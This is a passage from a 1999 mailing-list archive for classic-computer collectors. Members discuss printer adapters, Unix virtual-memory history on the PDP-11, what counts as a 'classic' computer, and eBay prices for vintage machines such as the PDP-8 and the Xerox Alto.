and well worth it if you've got access to a Laser Printer for example that doesn't support Mac's. I used their Serial version a few years ago, and it was very handy. Got to agree, excellent product that supports a LOT of printers. Zane >Hi all. Just thought I'd let you know about a cool product I've found. > >My father, who up until this time has been running various apple2 computers, >(which is how I got into classic computers as a hobby, by the way) just >acquired an iMac. All is well and good except he wants to run his Sears >Epson >fx85-alike from it. And as I discovered, the official Epson USB-Parallel >adapter doesn't do anything that far back. > >So whilst at CompUSA last night I happened across InfoWave's PowerPrint >USB - Parallel adapter. After some checking to see if they claimed to support >old Epson 9pins, I bought it. Plugged it into the USB port on my wife's >mac, asked her to load the software, plugged it into my own Epson LX800 - >which uses the same driver - and it printed perfectly. It's a bit of a mess >to UNINSTALL, if you don't have extention management loaded, but my wife is a >mac power user and eventually got things cleaned up. > >It's not cheap, - about a hundred bucks US - but even more than classic >computers, classic printers don't wear out, and with this package there's no >need to replace them just because you got an iMac. > >Their web page is at www.infowave.com, and it lists what printers the >software, >PowerPrint, supports. Apparently they also make a Mac-serial to parallel >adapter, and the USB version is just ported over from the software from that. >-- >Jim Strickland >jim@DIESPAMMERSCUMcalico.litterbox.com >----------------------------------------------------------------------- >Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? >----------------------------------------------------------------------- | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From eric at brouhaha.com Sun Jan 24 15:31:01 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:29 2005 Subject: MAC-8 ???? In-Reply-To: <3.0.1.16.19990124100334.48271ab0@intellistar.net> (message from Joe on Sun, 24 Jan 1999 10:03:34) References: <3.0.1.16.19990124100334.48271ab0@intellistar.net> Message-ID: <19990124213101.3759.qmail@brouhaha.com> > The first microprocessor designed at Bell Labs > was the Mac-8, a general purpose 8-bit micro- [...] > Long ago and far, far away in another lifetime; I somehow acquired a tube of > these chips. I've always wanted to get a minimal system going built around > this CPU. However I have NO DATA WHATEVER on them. One of the MAC-8 designers now owns a surplus store in Milpitas. Apparently he doesn't have any documentation, though. Sigh. From eric at brouhaha.com Sun Jan 24 15:36:50 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:29 2005 Subject: IBM doughnuts (was Re: ReLiability of wrong media (was: is out of 5-1/4" diskettes) In-Reply-To: <01be47d1$ff945240$01bfbfbf@toshiba-115cs> (manney@hmcltd.net) References: <01be47d1$ff945240$01bfbfbf@toshiba-115cs> Message-ID: <19990124213650.3787.qmail@brouhaha.com> "PG Manney" wrote about IBM doughnuts: > Not only that, what would a doughnut look like? They'd redesign that, too. > And make in incompatible with existing doughnut boxes. That was the old IBM. Now they would design a fully standards-compliant doughnut, release it as Open Source, and include a license to their doughnut patents (provided that you didn't change the recipe by more than 20%). IBM is playing by somewhat different rules now that Microsoft is dominating the industry. From eric at brouhaha.com Sun Jan 24 15:41:55 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:29 2005 Subject: VM on PDP-11 (was Re: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?]) In-Reply-To: <199901241958.AA15845@world.std.com> (allisonp@world.std.com) References: <199901241958.AA15845@world.std.com> Message-ID: <19990124214155.3812.qmail@brouhaha.com> Allison J Parent wrote: > No it didn't. I'm fairly certain that VM didn't appear until V7 on pdp-11 > or maybe later. I'm fairly certain that VM didn't appear in ANY released version of Unix on a PDP-11. Only a few models of PDP-11 had the processor capabilites needed to support VM (instruction continuation or instruction restart), and they were not used in any commercial OS. It's been rumored that there were bugs that rendered the capability unusable. In any case, though, the PDP-11 only supported 8 pages of 8K bytes (or 8 pages each of I & D space), which isn't really enough to make VM noticably superior to swapping. A PDP-11 with 4M of physical memory could support around 30 maximum-sized processes resident in memory simultaneously. From eric at brouhaha.com Sun Jan 24 15:48:12 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901242107.QAA23046@dgs.cs.unc.edu> (message from Bill Yakowenko on Sun, 24 Jan 1999 16:07:45 -0500) References: <199901242107.QAA23046@dgs.cs.unc.edu> Message-ID: <19990124214812.3833.qmail@brouhaha.com> Bill Yakowenko wrote: > So, since it is a matter of concensus, here is my vote. [...] > 2. Nothing PC- or Mac-compatible can ever be classic. Sorry, that's > just an indisputable fact. :-) Sure, it can be classic. Ten years after the industry stops manufacturing and selling PC-compatible or Mac-compatible computers. So a Macintosh 128 wouldn't be classic now, but if Apple stopped making any Macintoshes (or Mac-compatible computers) in 2017, the Macintosh 128 would become a classic in 2027. Or slightly later, based on your rule 5: > 5. The ten year rule should apply to the date when a thing dropped off > in popularity; if it was still in common use eight years ago, it is > not yet classic. (Justification: if it is still in common use, > there will be other places to discuss it.) From allisonp at world.std.com Sun Jan 24 16:13:56 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <199901242213.AA10109@world.std.com> <1. Ten years is just a guideline. If something is only 9 years old, < I won't much mind hearing about it. I might even like it. But if I happen to like that. < it is only two or three years old, there must be a surviving < users-group or something. Go find it, or start your own, but please < don't clutter up my mailbox with it. Generally PCs with 486 or Win3.1 and later are not discussion fodder for here, too new and current. <2. Nothing PC- or Mac-compatible can ever be classic. Sorry, that's < just an indisputable fact. :-) I draw a line based on two things early 386 or older and uniqueness. There are many clones but a few were very unique and interesting of themselves. An example is the Leading Edge Model D I have or the Kaypro ProPC both Xt class and a bit different. <5. The ten year rule should apply to the date when a thing dropped off < in popularity; if it was still in common use eight years ago, it is < not yet classic. (Justification: if it is still in common use, < there will be other places to discuss it.) Humm. This one is tough. We talk about VAXen and the MicroVAX is only about 14-15 years old and some models do persist but they are uniquly new compared to others. Example, we wouldn't be talking about 6xxx series as the oldest ones are early 90s. However BA123 based Microvaxen introduced in the 80s were still made in the early 90s and are able to run current version of the OS. They are old enough to be of interest. Another example is the DECMATE-III sold up to the early 90s but they are related too. Why, they run OS/278 and WPS both legacy software. The keys are OLDness, UNIQUEness and desireability. I'm sure there are technical aspects that would qualify like machines with unusual word length or the like but, they should be 80s or earlier in introduction or common use. So long as it's related to the collecting, preserving and discussion centered around older machines there is little conflict. Just my small cash investment in opinion. Allison From cmcmanis at freegate.com Sun Jan 24 16:45:03 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:29 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <199901241958.AA15845@world.std.com> Message-ID: <4.1.19990124144342.00a64cd0@208.226.86.10> >No it didn't. I'm fairly certain that VM didn't appear until V7 on pdp-11 >or maybe later. IIRC, adding virtual memory support to UNIX was the project goal for the CSRG at Berkeley. That was what BSD Unix was all about, and it was why the kernel image was /vmunix vs. the /unix which was the prior kernel image name. --Chuck From doug at blinkenlights.com Sun Jan 24 16:48:16 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901242107.QAA23046@dgs.cs.unc.edu> Message-ID: On Sun, 24 Jan 1999, Bill Yakowenko wrote: > 4. Simply having origins in something that is classic does not make a > thing classic. Otherwise *everything* would be classic. Here's the dictionary definition of "classic" that I think most of us mean when we use the word in the context of this list: Having lasting significance or worth; enduring. The problem is that "significance" and "worth" are personal judgement calls. I really think it's futile to try to define acceptable criteria. How about defining it this way: Discussions related to machines no longer supported by their manufacturers, with the exception of old IBM PCs, Macs, and their clones. -- Doug From cmcmanis at freegate.com Sun Jan 24 16:58:14 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:29 2005 Subject: PDP-8 prices In-Reply-To: <4.1.19990124144342.00a64cd0@208.226.86.10> References: <199901241958.AA15845@world.std.com> Message-ID: <4.1.19990124145635.00a635a0@208.226.86.10> Sigh. The "PDP-8 in unknown condition" sold for $1526 on Epay. Wonder what a cherry 8/E with all the trimmings would fetch? Ugh. --Chuck From nfields at ix.netcom.com Sun Jan 24 17:31:46 1999 From: nfields at ix.netcom.com (Noel Fields) Date: Sun Feb 27 18:40:29 2005 Subject: LCI Yamatake Honeywell J-DCC00 References: <3.0.1.16.19990123142706.098725fc@intellistar.net> Message-ID: <36ABAD62.4ACCAEF@ix.netcom.com> This is being sold on e-bay. I don't know what it is personally (grin) but the person only wants a dollar for it. So I thought I would let anyone on here know, that might be interested. Heres the e-bay link.... http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=58007797 Noel P.s. DOES anyone know what it is? My curiosity is peaked now :) (there is a picture available) From roblwill at usaor.net Sun Jan 24 20:38:24 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <01be480b$c7d1ad00$948ea6d1@the-general> How about no IBM PC's above the 5170? -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Doug To: Discussion re-collecting of classic computers Date: Sunday, January 24, 1999 2:49 PM Subject: Re: Legitimacy of the Ten Year Rule. >On Sun, 24 Jan 1999, Bill Yakowenko wrote: > >> 4. Simply having origins in something that is classic does not make a >> thing classic. Otherwise *everything* would be classic. > >Here's the dictionary definition of "classic" that I think most of us mean >when we use the word in the context of this list: > > Having lasting significance or worth; enduring. > >The problem is that "significance" and "worth" are personal judgement >calls. I really think it's futile to try to define acceptable criteria. >How about defining it this way: > > Discussions related to machines no longer supported by their > manufacturers, with the exception of old IBM PCs, Macs, and their > clones. > >-- Doug > > From kurtkilg at geocities.com Sat Jan 23 18:24:37 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: Message-ID: On Sat, 23 Jan 1999, Bill Yakowenko wrote: > 2. Nothing PC- or Mac-compatible can ever be classic. Sorry, that's > just an indisputable fact. :-) How about a VAX emulating a PC? > 5. The ten year rule should apply to the date when a thing dropped off > in popularity; if it was still in common use eight years ago, it is > not yet classic. (Justification: if it is still in common use, > there will be other places to discuss it.) How do you define 'common'? What percent of the population must use it? What if it's uncommon in my city and common in yours? > 6. Do I really need to add "IMHO" here? :-) No. If you don't add one, I won't add one. From cube at msn.fullfeed.com Sun Jan 24 18:19:00 1999 From: cube at msn.fullfeed.com (Jay Jaeger) Date: Sun Feb 27 18:40:29 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <007f01be469c$24f808b0$11d53d9d@JOEBAR> Message-ID: <199901250027.SAA26942@fullfeed.msn.fullfeed.com> There was a little Unix-like system called MARC (Machine Assisted Resource Coordinator), written by Ed Ziemba. Unfortunately, Ed met an untimely death in a recreational accident, so it was never really finished. MARC used CP/M for a host boot, and the versions that I tinkered with used the CP/M BIOS for I/O to the disk. Jay At 10:46 PM 1/22/99 -0800, you wrote: >>Actually, there was a thingy called PC/IX which ran on those non >>memory-managed systems. I actually managed to snag a copy a few years ago. > >Well, and of course there's Minix (where Linux started)... > >Any Unix clones for 8080/Z80 systems? It ought to be doable, given that the >original Unix was done on a 64KB address space machine... > >- Joe > --- Jay R. Jaeger The Computer Collection Jay.Jaeger@msn.fullfeed.com visit http://www.msn.fullfeed.com/~cube From bill_r at inetnebr.com Sun Jan 24 18:31:13 1999 From: bill_r at inetnebr.com (Bill Richman) Date: Sun Feb 27 18:40:29 2005 Subject: Was: Re: Ebay: Very Old IBM Model 705 Tube-type Logic Module In-Reply-To: <36A6C666.851A4CBE@rain.org> References: <199901210445.WAA23931@garcon.laidbak.com> <36A6C666.851A4CBE@rain.org> Message-ID: <36adba71.111371814@insight> I *think* I've got some of these, or something very much like it, stashed in a box at my parents house. About 20 years ago, I bought a couple boxes of "surplus military computer parts" at a surplus store in Omaha. Among the parts were several boards that look like the picture shown on this auction; a circuit board perhaps 8x10" or so, covered with resistors and wax sealed caps, with a metal "faceplate" on one end with perhaps 5 or 6 tube sockets and a steel "grab handle" mounted on one end. Does anybody know what else might have used modules such as this? I will try to grab them the next time I'm out there, although it may be a couple of months. On Wed, 20 Jan 1999 22:17:10 -0800, Marvin wrote: >Neat item here, and there is also a photo of the Module. > >http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=56733792 -Bill Richman (bill_r@inetnebr.com) http://incolor.inetnebr.com/bill_r - Home of the COSMAC Elf Microcomputer Simulator, Fun with Molten Metal, Orphaned Robots, and Technological Oddities. From doug at blinkenlights.com Sun Jan 24 18:42:55 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:29 2005 Subject: Was: Re: Ebay: Very Old IBM Model 705 Tube-type Logic Module In-Reply-To: <36adba71.111371814@insight> Message-ID: On Mon, 25 Jan 1999, Bill Richman wrote: > I *think* I've got some of these, or something very much like it, > stashed in a box at my parents house. About 20 years ago, I bought a > couple boxes of "surplus military computer parts" at a surplus store in Oh, man, I've only dreamed of going back in a time machine to shop at surplus houses 20 years ago :-) > end. Does anybody know what else might have used modules such as this? I don't have many data points, but TCM brought a module from the MIT Whirlwind to VCF that looked similar, so I'll extrapolate and guess that most tube machines had something similar. Next time you come out here to visit TCM/HC, bring them with you! -- Doug From KFergason at aol.com Sun Jan 24 18:38:27 1999 From: KFergason at aol.com (KFergason@aol.com) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: > > 2. Nothing PC- or Mac-compatible can ever be classic. Sorry, that's > > just an indisputable fact. :-) > I disagree. (with both) Interesting, maybe not. but the original PC and Mac are both classic. I could agree that very few types of PC (or Mac's) were/are classics. My opinion: The original PC, AT, are classics. A Packard Bell 286 or the Commodore Colt is not. The Mac 128 and Macintosh II are classics. The Plus, SE, etc, are just more usable. IMHO, Kelly From hhacker at gte.net Sun Jan 24 19:01:23 1999 From: hhacker at gte.net (Buck Savage) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <009301be47fe$3b87bf90$01010101@amranhqpo000000.jps.net> Since the subject has gained so much discussion, I shall take the suggestion and produce the guide. Such an endeavor takes time, so don't expect a release too soon. Nevertheless, I am now open to taking first orders. :) :) :) As for the rule itself, I agree that ten years after last manufacture implies classic status - that is, the item is an antique. However, that requirement of time is not necessarily the most prudent for some items. In some cases, classic status might be applied to an item available only two or three years ago. Such cases might be rare but, justified by the circumstances. I suggest also that classic status might be conferred upon a measure of the relative throughput of the computing instrument at hand. That is, when the device performs at a rate of two percent or less than the performance of minimal systems sold in the marketplace (at the time of the comparison), then such a system can be termed a classic. William R. Buckley From allisonp at world.std.com Sun Jan 24 19:02:57 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:29 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] Message-ID: <199901250102.AA20002@world.std.com> from "Buck Savage" at Jan 24, 1999 05:01:23 PM Message-ID: <199901250114.SAA10459@calico.litterbox.com> *snip* > I suggest also that classic status might be conferred upon a measure of the i > relative throughput of the computing instrument at hand. That is, when the i > device performs at a rate of two percent or less than the performance of > minimal systems sold in the marketplace (at the time of the comparison), > then such a system can be termed a classic. > William R. Buckley > A couple problems with this. First, someone on here who's name I forget has a Cray he's setting up. It's more than 10 years old, but it's NOT 2 percent or less of the modern minimal system. And of course (you knew this was coming) the 2 percent rule would include anything running a Microsoft operating system when compared to identical hardware running anything else. :) Seriously, a classic computer is a computer more valuable for what it IS than the work it can do. It's a subjective definition to be sure, but come on, people collect these machines because they LIKE them. The definition needs to be as subjective as the desire. Speaking of classics, I'm hopefully going to get my hands on a Kaypro 10 in the near future. No idea if the hard disk is alive. Does anyone know if the disk in that machine is a full height mfm? I just happen to have a 40 meg replacement for it... :) -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From marvin at rain.org Sun Jan 24 19:24:32 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:29 2005 Subject: LCI Yamatake Honeywell J-DCC00 References: <3.0.1.16.19990123142706.098725fc@intellistar.net> <36ABAD62.4ACCAEF@ix.netcom.com> Message-ID: <36ABC7CF.E8256A07@rain.org> I'm not sure, but it looks like one of the older Modem Eliminators. I used to run into these things all the time, and ended up dumpstering most of them. Hmmm, I still have some Micom units if anyone needs some. Noel Fields wrote: > > This is being sold on e-bay. I don't know what it is personally (grin) but the > person only wants a dollar for it. So I thought I would let anyone on here > know, that might be interested. > > Heres the e-bay link.... > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=58007797 > > Noel > > P.s. DOES anyone know what it is? My curiosity is peaked now :) (there is a > picture available) From ard at p850ug1.demon.co.uk Sun Jan 24 18:38:25 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901242213.AA10109@world.std.com> from "Allison J Parent" at Jan 24, 99 05:13:56 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2636 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/ac38324d/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 24 18:44:14 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: from "Doug" at Jan 24, 99 05:48:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1669 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/e135ed1f/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 24 18:46:44 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:29 2005 Subject: PDP-8 prices In-Reply-To: <4.1.19990124145635.00a635a0@208.226.86.10> from "Chuck McManis" at Jan 24, 99 02:58:14 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 626 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/04c00167/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 24 19:29:18 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901250114.SAA10459@calico.litterbox.com> from "Jim Strickland" at Jan 24, 99 06:14:11 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 694 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/56443150/attachment.ksh From ard at p850ug1.demon.co.uk Sun Jan 24 19:32:59 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: from "Max Eskin" at Jan 23, 99 07:24:37 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 661 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990125/de938aa5/attachment.ksh From dburrows at netpath.net Sun Jan 24 19:08:06 1999 From: dburrows at netpath.net (Daniel T. Burrows) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <001f01be4803$eae88000$bf281bce@tower166> We also need to keep in mind that the PDP11/93 was available new until approx. 1 year ago. Dan From joe at barrera.org Sun Jan 24 20:02:23 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:29 2005 Subject: PDP-8 prices Message-ID: <008a01be4806$c0b62a00$11d53d9d@JOEBAR> > From: Chuck McManis > Sigh. The "PDP-8 in unknown condition" sold for $1526 on Epay. Wonder what > a cherry 8/E with all the trimmings would fetch? Ugh. >--Chuck I sent the seller (dschambe@uiuc.edu) three separate emails asking for ANY details about the system, and I received absolutely nothing in reply. So I'll never even know what type of PDP-8 it was... probably a VT-78 :-) Almost certainly not the straight 8 that I naively initially thought it was. I see that the same seller now has an IMSAI 8080 listed (http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=59373250), not known to be working, no pictures, sold as-is. The bid is currently $810 without having met reserve. Any bets what it will end up going for? ... oh, and the matching dual floppies (also not known to be working) are also for sale, currently only $710. Since I'm blabbing here about ebay posts, be sure to check out the $5000 Rare Xerox Alto II computer system (http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=58679296) before it disappears. Oddly, no one has bid on it yet. - Joe From pechter at monmouth.com Sun Jan 24 20:06:19 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:29 2005 Subject: Unix and VM In-Reply-To: <4.1.19990124144342.00a64cd0@208.226.86.10> from Chuck McManis at "Jan 24, 99 02:45:03 pm" Message-ID: <199901250206.VAA01052@pechter.nws.net> > >No it didn't. I'm fairly certain that VM didn't appear until V7 on pdp-11 > >or maybe later. > > IIRC, adding virtual memory support to UNIX was the project goal for the > CSRG at Berkeley. That was what BSD Unix was all about, and it was why the > kernel image was /vmunix vs. the /unix which was the prior kernel image name. > --Chuck Paged VM didn't appear until the 32bit Vax. (BSD had it... AT&T (USG) Unix didn't until SVR2 on Vax and WECO 32 bit processors... (There was PDP11 support through SysV...) The PDP11's never got paging (in USG Unix) although overlays were used. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From blstuart at bellsouth.net Sun Jan 24 20:02:31 1999 From: blstuart at bellsouth.net (blstuart@bellsouth.net) Date: Sun Feb 27 18:40:29 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: Your message of Sun, 24 Jan 1999 14:58:39 -0500 . <199901241958.AA15845@world.std.com> Message-ID: In message <199901241958.AA15845@world.std.com>, Allison J Parent writes: > ><> Unix didn't always have the idea of virtual memory. See Minix for an ><> example of that also V4 and maybe V5 unix didn't either. >< > >No it didn't. I'm fairly certain that VM didn't appear until V7 on pdp-11 >or maybe later. There've already been a few followups on this and I'm to lazy to mix all the references together. So I arbitrarily pick this point in the thread to jump in. The complete answer depends on what one means by VM. (Hey, here we go with the definitions again.) If you take the pure viewpoint and say that VM is the distinction between a virtual address and a physical address, then all you need is an address translation unit. These memory management units (MMUs) on PDP-11s were used pretty early on. I don't know exactly how early, however. The first 11 UNIX was ported to was the 11/20 (only called that after other models were introduced; the 11/20 was the first model of the 11). If the story I heard in college is correct, there were only three examples of a prototype MMU ever built for the 11/20 and the one I saw had as many cards as the CPU. I doubt that Bell Labs worked with one of those. The next model they ported to was the 11/45 which had a rather good MMU including separate I/D spaces. I don't know where along the line MMU support was added, but it was definitely there by the time 6th edition came along and John Lions wrote his masterpiece on it. One of the tables in Peter Saulus's book suggests that it must have happened somewhere between 3rd edition and 6th edition. If by VM one refers to the ability to swap individual pages and to do demand paging, then there were several attempts to get paging into UNIX. The first was purely experimental using an 11/55 (or 11/60, I can't remember). I don't remember my source, but I do remember it reporting that performance was very poor, and the line of research was not followed any further. When Berkeley took 32V (the Bell Labs VAX port) and added paging, they released 3BSD as Chuck mentioned. As usual, if you want to look further at UNIX history, look at the early papers and at Salus's book *A Quarter Centry of UNIX*. Brian L. Stuart From marvin at rain.org Sun Jan 24 20:27:07 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:29 2005 Subject: PDP-8 prices References: <008a01be4806$c0b62a00$11d53d9d@JOEBAR> Message-ID: <36ABD67B.52B65CAC@rain.org> Joseph S. Barrera III wrote: > > Since I'm blabbing here about ebay posts, be sure to check out the $5000 > Rare Xerox Alto II computer system > (http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=58679296) before it > disappears. Oddly, no one has bid on it yet. I don't know if you noticed or not, but the email address of the seller is at spies.com. For those of you who might not be aware, spies.com is one of the largest repositories of arcade game related materials. The guy who runs it seems to be very well regarded in the collector circles. From doug at blinkenlights.com Sun Jan 24 21:36:46 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:29 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <36ABD67B.52B65CAC@rain.org> Message-ID: On Sun, 24 Jan 1999, Marvin wrote: > I don't know if you noticed or not, but the email address of the seller is > at spies.com. For those of you who might not be aware, spies.com is one of > the largest repositories of arcade game related materials. The guy who runs > it seems to be very well regarded in the collector circles. That's the guy. He's also well regarded by Alto collectors: http://www.spies.com/aek/xerox.html So, don't worry, if you don't pay him $5K, it'll still have a good home. $5K seems like a reasonable price, BTW (assuming he doesn't have a $20K reserve). Only 1000 or so were made. It's historic. It would be easy to justify. Who's gonna do it?! Not me! I have absolutely no desire to spend $5K on the thing. And this confuses me a little. It's near the top of my wanted list, and I can afford it, but the prospect doesn't interest me even a little bit. For some reason, I find the idea somewhat offensive. I guess it's because I think of an acquisition sort of like an "adoption". I'm willing to house the thing, and spend a good chunk of time trying to get it working, keep it working, and make it accessible to others. Why should I have to pay $5K on top of that? $500 seems to be my limit for what I consider a reasonable acquisition fee. Maybe that will go up as this crazy price spiral continues, but to pay more than that, I think you really have to be in the speculative investment mindset, and I'm not. -- Doug From zmerch at 30below.com Sun Jan 24 22:07:10 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:29 2005 Subject: CoCo3's & Legitimacy of the Ten Year Rule. In-Reply-To: References: Message-ID: <3.0.1.32.19990124230710.0097dc70@mail.30below.com> >On Sat, 23 Jan 1999, Bill Yakowenko wrote: >> 2. Nothing PC- or Mac-compatible can ever be classic. Sorry, that's >> just an indisputable fact. :-) But what about a "Mac Classic???" ;-) Methinks they're over 10 years old, and they have *classic* right in the name!!! ;-) >> 5. The ten year rule should apply to the date when a thing dropped off >> in popularity; if it was still in common use eight years ago, it is >> not yet classic. (Justification: if it is still in common use, >> there will be other places to discuss it.) Erm, sorry... I (and I think most others would agree with me here) don't believe that would work correctly, either. My beloved CoCo3 is more than easily considered a classic here, as they *started* production in 1986 (and mine was the first one in over a 50 mile radius of my area), but they were still in production at least into 1990, and I know they were still in-stock items in Radio Shacks & RSCC's in 1990, maybe 1991. Due to active production and showroom floor presentation, I submit they were in common use less than 10 years ago... yet considered a classic by most everyone (and me) here. BTW, my CoCo3's serial # is 102404... anyone know if there are different serial number series for US-sold versus Canadian-sold CoCo3's? I purchased mine in Canada; much cheaper! ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From zmerch at 30below.com Sun Jan 24 22:11:29 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:29 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: References: <36ABD67B.52B65CAC@rain.org> Message-ID: <3.0.1.32.19990124231129.00930d50@mail.30below.com> On or about 10:36 PM 1/24/99 -0500, Doug was caught in a dark alley speaking these words: >Not me! I have absolutely no desire to spend $5K on the thing. And this >confuses me a little. It's near the top of my wanted list, > and I can afford it, ^^^^^^^^^^^^^^^^^^^^^^ You can *afford* it??? Wanna adopt me??? ;-) Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From doug at blinkenlights.com Sun Jan 24 22:09:51 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:29 2005 Subject: Alto II (was Re: PDP-8 prices In-Reply-To: <3.0.1.32.19990124231129.00930d50@mail.30below.com> Message-ID: On Sun, 24 Jan 1999, Roger Merchberger wrote: > You can *afford* it??? Wanna adopt me??? ;-) Well, "afford" means it wouldn't send me into bankrupty -- it's not the amount of cash I keep in my wallet or anything. As far as adopting you, if you can cook, clean, and program, come on down! It would beat the hell out of *paying* you to do those things :-) -- Doug From healyzh at aracnet.com Sun Jan 24 22:25:12 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:29 2005 Subject: PDP-8 prices In-Reply-To: <008a01be4806$c0b62a00$11d53d9d@JOEBAR> Message-ID: >I sent the seller (dschambe@uiuc.edu) three separate emails asking for ANY >details about the system, and I received absolutely nothing in reply. So >I'll never even know what type of PDP-8 it was... probably a VT-78 :-) >Almost certainly not the straight 8 that I naively initially thought it was. I sent him mail also, same result no answer. Of course this was before a certain individual placed a ludicrous bid on it. :^) After that I wasn't interested in an unknown system. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From donm at cts.com Sun Jan 24 22:47:20 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:29 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <199901250114.SAA10459@calico.litterbox.com> Message-ID: On Sun, 24 Jan 1999, Jim Strickland wrote: ****snip**** > Speaking of classics, I'm hopefully going to get my hands on a Kaypro 10 in > the near future. No idea if the hard disk is alive. Does anyone know if the > disk in that machine is a full height mfm? I just happen to have a 40 meg > replacement for it... :) Could be either, but if original, it will have 4 heads and 306 cylinders! That 